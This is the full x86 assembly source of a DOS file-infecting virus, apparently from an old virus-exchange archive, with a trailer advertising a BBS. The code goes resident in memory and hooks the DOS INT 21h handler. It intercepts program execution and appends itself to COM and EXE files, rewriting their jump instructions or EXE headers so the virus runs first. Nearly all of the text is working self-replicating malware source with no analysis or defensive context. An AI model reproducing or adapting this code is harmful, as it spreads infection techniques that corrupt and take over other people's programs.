2022-08-21 09:07:57 +00:00
virus seg ment public 'code'
assume cs : virus , ds : virus , es : virus
org 0
VirusSize equ VirusEnd - $
Com: call Begin
call Label2
PartPage equ this word + 02h
PageCount equ this word + 04h
HdrSize equ this word + 08h
MinMem equ this word + 0ah
MaxMem equ this word + 0ch
ExeSS equ this word + 0eh
ExeSP equ this word + 10h
ExeSignature equ this word + 12h
ExeStart equ this dword + 14h
ExeIP equ this word + 14h
ExeCS equ this word + 16h
SavedCode:
mov ax , 4c00h
int 21h
org SavedCode + 18h
Label2: pop si
mov di , 100h
push di
movsw
movsw
movsb
ret
Exe: call Begin
mov dx , ds
add dx , 10h
add cs : ExeCS , dx
add dx , cs : ExeSS
mov ss , dx
mov sp , cs : ExeSP
jmp cs : ExeStart
Begin: push ds
push es
push ax
xor ax , ax
mov ds , ax
mov ds , ds :[ 46ah ]
cmp Si gnature , 0ACDCh
je Exit
mov ah , 4ah
mov bx , - 1
int 21h
sub bx ,( VirusSize + 1fh ) / 10h + 1000h
jb Exit
add bh , 10h
mov ah , 4ah
int 21h
mov ah , 48h
mov bx ,( VirusSize + 0fh ) / 10h
int 21h
jb Exit
dec ax
mov es , ax
inc ax
mov es :[ 1 ], ax
mov es , ax
push cs
pop ds
call Label1
Label1: pop si
sub si , offset Label1
xor di , di
push di
mov cx , VirusSize
rep movsb
pop ds
mov ax , ds :[ 84h ]
mov word ptr es : OldInt21 [ 0 ], ax
mov ax , ds :[ 86h ]
mov word ptr es : OldInt21 [ 2 ], ax
mov byte ptr ds :[ 467h ], 0eah
mov word ptr ds :[ 468h ], offset NewInt21
mov ds :[ 46ah ], es
mov word ptr ds :[ 84h ], 7
mov word ptr ds :[ 86h ], 46h
Exit: pop ax
pop ds
pop es
ret
Header db 0e9h
dw 0
Signature dw 0ACDCh
NewInt21:
cmp ah , 4bh
je Exec
jmp short EOI
Exec: push ax
push bx
push cx
push dx
push ds
mov ax , 3d02h
call Interrupt
jc short Error
push cs
pop ds
mov bx , ax
mov ah , 3fh
mov cx , 18h
mov dx , offset SavedCode
call DOS
cmp word ptr cs : SavedCode , 5a4dh
je ExeFile
ComFile: cmp word ptr cs : SavedCode [ 3 ], 0ACDCh
je short Cl ose
mov al , 02h
call Seek
or dx , dx
; jmp short Close
cmp ah , 0f6h
je short Cl ose
sub ax , 5
; jmp short Close
inc ax
inc ax
mov word ptr ds : Header [ 1 ], ax
mov ah , 40h
mov cx , VirusSize
xor dx , dx
call DOS
mov al , 00h
call Seek
mov ah , 40h
mov cx , 5
mov dx , offset Header
call Interrupt
Close: mov ah , 3eh
call Interrupt
Error: pop ds
pop dx
pop cx
pop bx
pop ax
EOI: db 0eah ; jmp 0:0
OldInt21 dd 026b1465h
ExeFile: cmp ExeSignature , 0ACDCh
je short Cl ose
mov al , 02h
call Seek
add ax , 0fh
adc dx , 0
and al , 0f0h
xchg ax , dx
mov cx , ax
mov ax , 4200h
call DOS
mov cx , 10h
div cx
or dx , dx
jne Cl ose
mov dx , ax
sub dx , HdrSize
push dx
mov cx , 10h
mul cx
add ax , VirusSize
adc dx , 0
mov cx , 200h
div cx
inc ax
push ax
push dx
mov ah , 40h
mov cx , VirusSize
xor dx , dx
call Interrupt
pop PartPage
pop PageCount
pop ax
jc Cl ose
mov ExeCS , ax
mov ExeIP , offset Exe
add ax ,( VirusSize + 0fh ) / 10h
mov ExeSS , ax
mov ExeSP , 200h
cmp MinMem , 20h
jae Mem1
mov MinMem , 20h
Mem1: cmp MaxMem , 20h
jae Mem2
mov MaxMem , 20h
Mem2: mov al , 00
call Seek
mov ah , 40h
mov cx , 18h
mov dx , offset SavedCode
call Interrupt
jmp Cl ose
Seek: mov ah , 42h
xor cx , cx
xor dx , dx
DOS: call Interrupt
jnc Ok
pop ax
jmp Cl ose
Interrupt:
pushf
call cs : OldInt21
Ok: ret
VirusEnd equ $
virus ends
end
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > and Remember Don't Forget to Call <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>